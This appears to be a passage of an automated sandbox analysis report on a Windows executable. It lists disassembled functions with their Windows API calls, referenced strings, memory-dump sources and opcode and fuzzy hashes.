SetWindowLongPtrW.USER32 ref: 00007FF6292BB58E

Strings

SysTreeView32, xrefs: 00007FF6292BB512

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction ID: 76761fa9c659fc018b7e1951d4de33446020b954d689e8f58c7d35946cc15963
Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction Fuzzy Hash: 8D416D32A1A78286EB70DF28E944B9A73A1F784760F144335DAA843BD9CF3CD845CB41

Function 00007FF6292BAB9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SendMessageW.USER32 ref: 00007FF6292BAC80
SetWindowPos.USER32 ref: 00007FF6292BACA9
SendMessageW.USER32 ref: 00007FF6292BACE0

Strings

SysMonthCal32, xrefs: 00007FF6292BABE3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStock
String ID: SysMonthCal32
API String ID: 2671490118-1439706946
Opcode ID: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
Instruction ID: 8fb23ef8d7c0798b7df7b40ef103429a49f345135f6686a4209655a705a9ca64
Opcode Fuzzy Hash: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
Instruction Fuzzy Hash: 8A418D326186C28BE770CF15E444BAAB7A0FBC8790F104235EAAD43A98DF3DD4858F40

Function 00007FF6292BA1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SendMessageW.USER32 ref: 00007FF6292BA2E4
SendMessageW.USER32 ref: 00007FF6292BA2F8
MoveWindow.USER32 ref: 00007FF6292BA328

Strings

Listbox, xrefs: 00007FF6292BA23D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateMoveObjectStock
String ID: Listbox
API String ID: 3747482310-2633736733
Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction ID: 59e1f839ff44c60e640dfa7cf2c618587e88b03a743d1a55f8e848961757eaae
Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction Fuzzy Hash: 623149366197C186E770CF16B844B5AB7A5F7887A0F508225EAA903B98CF3DD481CF01

Function 00007FF629294DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF629294E29
GetVolumeInformationW.KERNEL32 ref: 00007FF629294E9F
SetErrorMode.KERNEL32 ref: 00007FF629294F0E

Strings

%lu, xrefs: 00007FF629294EB0

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction ID: 62de2d08c8ab67f40920b856e1af5b09b07fef8325943a69e2849333b430ed6a
Opcode Fuzzy Hash: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
Instruction Fuzzy Hash: 2E31AF72A19B8685EB10DF16E9801AD73A4FBC9BC0F414031EA8D83B69CF3CD595C701

Function 00007FF6292BB104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SendMessageW.USER32 ref: 00007FF6292BB1BE
SendMessageW.USER32 ref: 00007FF6292BB1DA
SendMessageW.USER32 ref: 00007FF6292BB1EF

Strings

msctls_trackbar32, xrefs: 00007FF6292BB14B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: msctls_trackbar32
API String ID: 1025951953-1010561917
Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction ID: af4eceee0ac640fd20efb13020a44b502a6faed1273bd279b86726f32ee8a5a3
Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction Fuzzy Hash: C1310736A2978187EB60CF15E954B5AB7A1FBC8790F504239EB9843B98CF38D845CB05

Function 00007FF62927F5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62927F378: SendMessageTimeoutW.USER32 ref: 00007FF62927F3A8
Part of subcall function 00007FF62927F378: GetWindowThreadProcessId.USER32 ref: 00007FF62927F3B8
Part of subcall function 00007FF62927F378: GetCurrentThreadId.KERNEL32 ref: 00007FF62927F3C0
Part of subcall function 00007FF62927F378: AttachThreadInput.USER32 ref: 00007FF62927F3E5

GetFocus.USER32 ref: 00007FF62927F605

Part of subcall function 00007FF62927F3F4: GetParent.USER32 ref: 00007FF62927F407

GetClassNameW.USER32 ref: 00007FF62927F656
EnumChildWindows.USER32 ref: 00007FF62927F684

Part of subcall function 00007FF62927F378: GetWindowThreadProcessId.USER32 ref: 00007FF62927F3D0
Part of subcall function 00007FF62927F378: GetCurrentThreadId.KERNEL32 ref: 00007FF62927F3D8

Strings

%s%d, xrefs: 00007FF62927F691

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
String ID: %s%d
API String ID: 2330185562-1110647743
Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction ID: 2f3904a15f236b1e03f9021799d5dcf72b5010d06582aa42799c2f36677db5ad
Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
Instruction Fuzzy Hash: EB214F2162EB8291FE14EF21EA402EA7355BBC5BC0F444131DE9D97756DF2CE105D712

Function 00007FF62928C110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF62928C14F
DeviceIoControl.KERNEL32 ref: 00007FF62928C1CB
CloseHandle.KERNEL32 ref: 00007FF62928C1D6

Strings

0, xrefs: 00007FF62928C1AC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0
API String ID: 33631002-4108050209
Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction ID: 301d1ec7c1e6f7d91038fe802f84db81b9e28f9e0f4acde3e7428fd58e5703e7
Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction Fuzzy Hash: B8216032629B8086E7208F21E984A9A77A8F7C4794F144226EB9D43F94DF3CD659CB00

Function 00007FF6292AAF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF629272DD1), ref: 00007FF6292AAF37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF629272DD1), ref: 00007FF6292AAF4F

Strings

kernel32.dll, xrefs: 00007FF6292AAF30
GetSystemWow64DirectoryW, xrefs: 00007FF6292AAF45

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction ID: 4fbb76a89051e505c4c6b19c1a8e5c10d90612e898f9d8029f5dcb19438e5b5e
Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction Fuzzy Hash: 1BF01C62A26B0281FF188F20ED4436433E4FF88B09F840435C91C823A4EF7DD558E342

Function 00007FF629216D64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF629216490), ref: 00007FF629216D7B
GetProcAddress.KERNEL32(?,?,?,00007FF629216490), ref: 00007FF629216D93

Strings

Wow64DisableWow64FsRedirection, xrefs: 00007FF629216D89
kernel32.dll, xrefs: 00007FF629216D74

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction ID: 4d3e6adedb33d3fc11b13cebdfdcab3dca4fea14a0a269a3072ad4516f519ba3
Opcode Fuzzy Hash: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction Fuzzy Hash: BFE0C96692AF0681FF149F21ED5436833A4BB88B48F440435C91D86395EF7CE5A9D241

Function 00007FF6292832F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF62928330B
GetProcAddress.KERNEL32 ref: 00007FF629283323

Strings

kernel32.dll, xrefs: 00007FF629283304
GetNativeSystemInfo, xrefs: 00007FF629283319

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction ID: 0aa47e60d405a0f6f91a6745078d02c57718531f096664e97b1375c66cfab336
Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction Fuzzy Hash: BBE0C96592AB0281FF188F10AA1436433A4BB88B49F840435C91D86394EFBCD595D251

Function 00007FF6292A79D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF6292A7A72

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction ID: a4b44c6c4bf569f9fbb3a6c4cc0f45f8f14b0ae70bfd628e7c4c8278fe786b18
Opcode Fuzzy Hash: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction Fuzzy Hash: A7D15866B26B419AFB10DFA1D9901EC33B5FB84788B400436DE0D97B9ADF38D529D381

Function 00007FF6292BD88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,00007FF62929BCA6), ref: 00007FF6292BD91A
ScreenToClient.USER32 ref: 00007FF6292BD947
MoveWindow.USER32 ref: 00007FF6292BD9C5
SendMessageW.USER32 ref: 00007FF6292BDA2D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$ClientMessageMoveRectScreenSend
String ID:
API String ID: 1249313431-0
Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction ID: 2a12190fbb056ce24ba893299278b78814749b0afd412ffd140cb54dc1faafb7
Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction Fuzzy Hash: 8B51AD72A26A428AFF50CF25D9906BD37A5FB84B98F514132DE2D93784CF39E881D301

Function 00007FF62928BAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF62928BB6F
GetLastError.KERNEL32 ref: 00007FF62928BB7E
CreateDirectoryW.KERNEL32 ref: 00007FF62928BB8E
CreateDirectoryW.KERNEL32 ref: 00007FF62928BC27

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction ID: 1e5f60c8eafbe0945186f75bf2f0cf90e608025f56b2fc4a8e61149ddc2ba128
Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction Fuzzy Hash: 1D51CE22B2AA1289FF548F62DE445AC33B5BB84BD4B544139DE0D93798DF3CD542D311

Function 00007FF629295DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32 ref: 00007FF629295E75
GetLastError.KERNEL32 ref: 00007FF629295E98
DeleteFileW.KERNEL32 ref: 00007FF629295EC1
CreateHardLinkW.KERNEL32 ref: 00007FF629295EFA

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction ID: 4af1847022753c68b9824ce4fd03cccd8c7bfd14c7001ea9da5d544aa4c670a5
Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction Fuzzy Hash: 50411526B29B4681EF10DF22D99046D7360FB89FD0B489432DF8E87766CF38E4449315

Function 00007FF6292BF014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(00000000,?,?,?,?,00007FF6292C0BC9), ref: 00007FF6292BF054
GetWindowRect.USER32(?,?,?,?,00007FF6292C0BC9), ref: 00007FF6292BF0E3
PtInRect.USER32 ref: 00007FF6292BF0F3
MessageBeep.USER32(?,?,?,?,00007FF6292C0BC9), ref: 00007FF6292BF165

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction ID: 1ff599d6a95b62b016c7e77cb30bf9355c5f3a9871f01a7836a061d2ed9d83ef
Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction Fuzzy Hash: 01416732A2AA4686FF10DF19DD946B933A4BBC4B94F154536CA5D833A0DF38E841E701

Function 00007FF6292BAA04 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF6292BAAF2
IsMenu.USER32 ref: 00007FF6292BAB10
InsertMenuItemW.USER32 ref: 00007FF6292BAB61
DrawMenuBar.USER32 ref: 00007FF6292BAB76

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID:
API String ID: 3076010158-0
Opcode ID: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
Instruction ID: 86734abc24b709385d2a84c71f281158918c863ea87e112734f4c0f021e1fa13
Opcode Fuzzy Hash: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
Instruction Fuzzy Hash: C9418732A16A418AFB208F66D9602A937F5FB84B94F254036CE1D93794CF38E895E740

Function 00007FF62924C72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924C77F
WideCharToMultiByte.KERNEL32 ref: 00007FF62924C851
GetLastError.KERNEL32 ref: 00007FF62924C874
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924C8A6

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction ID: 6a0d9ccda7b6970554eef5d0d79be97d22d2dee1766c164d45244c50d75d1a9a
Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction Fuzzy Hash: A241B332A2E74247FF66DF199A443B97294AFC0B90F14B130DA4986AD5DF2CD8419F13

